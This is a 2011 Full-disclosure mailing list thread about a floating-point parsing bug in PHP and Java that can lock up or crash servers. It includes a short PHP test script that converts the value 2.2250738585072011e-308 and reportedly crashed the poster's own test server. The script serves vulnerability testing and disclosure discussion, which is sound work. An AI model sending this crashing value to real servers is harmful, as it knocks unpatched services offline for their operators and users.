[Fwd: Re: {Java,PHP} Server Exploits]

[Leon Kaiser <literalka () gmail com>]

From: Leon Kaiser <literalka () gmail com>
Reply-to: literalka () gnaa eu
To: Cal Leeming [Simplicity Media Ltd]
<cal.leeming () simplicitymedialtd co uk>
Subject: Re: [Full-disclosure] {Java,PHP} Server Exploits
Date: Wed, 09 Feb 2011 19:15:36 -0500

Years, if I'm not mistaken.

========================================================
Leon Kaiser      - Head of GNAA Public Relations -
        literalka () gnaa eu || literalka () goatse fr
       http://gnaa.eu || http://security.goatse.fr
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"The mask of anonymity is not intensely constructive."
       -- Andrew "weev" Auernheimer
======================================================== 



> On Wed, 2011-02-09 at 20:00 +0000, Cal Leeming [Simplicity Media Ltd]
> wrote:
>
> > Christian, this issue has been 'floating' around for several months
> > now.
> >
> > On Wed, Feb 9, 2011 at 7:56 PM, Christian Sciberras
> > <uuf6429 () gmail com> wrote:
> >
> >         Ah, been reading more about it, seems it was fixed.
> >         
> >         Still, there should have been safeguards around this - I'm
> >         thinking they should check existing conversion routines to
> >         ensure they're safe...
> >         
> >         
> >         
> >         
> >         
> >         On Wed, Feb 9, 2011 at 8:54 PM, Christian Sciberras
> >         <uuf6429 () gmail com> wrote:
> >         
> >                 Was it fixed? What's the current status?
> >                 
> >                 The sounds like a major issue, and the lack of info
> >                 about it is darn impressive.
> >                 
> >                 
> >                 I tried it on my test Windows WAMP server:
> >                 
> >                 <?php
> >                 
> >                     ob_implicit_flush(true);
> >                 
> >                     echo 'Start test...<br/>';
> >                 
> >                     $f=(float)"2.2250738585072011e-308";
> >                     echo 'Try 1 => '.$f.'</br>';
> >                 
> >                     $f=floatval("2.2250738585072011e-308");
> >                     echo 'Try 2 => '.$f.'</br>';
> >                 
> >                     $f="2.2250738585072011e-308";
> >                     echo 'Try 3 => '.(float)$f.'</br>';
> >                 
> >                     echo 'Test failed, server not vulnerable!</br>';
> >                 
> >                 ?>
> >                 
> >                 All three tests succeeded in crashing the server.
> >                 
> >                 With all due respect, this should NOT have been
> >                 disclosed without being FIXED (as it seems to me).
> >                 Plus, I'm a bit amazed such a bug exists in PHP -
> >                 since converting to floating point is a trivial
> >                 operation, it should have been limited and
> >                 safe-guarded from the start.
> >                 There are a lot of servers out there happily
> >                 accepting input as floating point values, this bug
> >                 should be top priority...
> >                 
> >                 
> >                 Chris.
> >                 
> >                 
> >                 
> >                 On Wed, Feb 9, 2011 at 6:40 PM, Leon Kaiser
> >                 <literalka () gmail com> wrote:
> >                 
> >                 
> >                         
> > http://developers.slashdot.org/story/11/02/09/025237/Java-Floating-Point-Bug-Can-Lock-Up-Servers
> >                         http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Server
> >                         
> >                         
> >                         
> >                         
> >                         
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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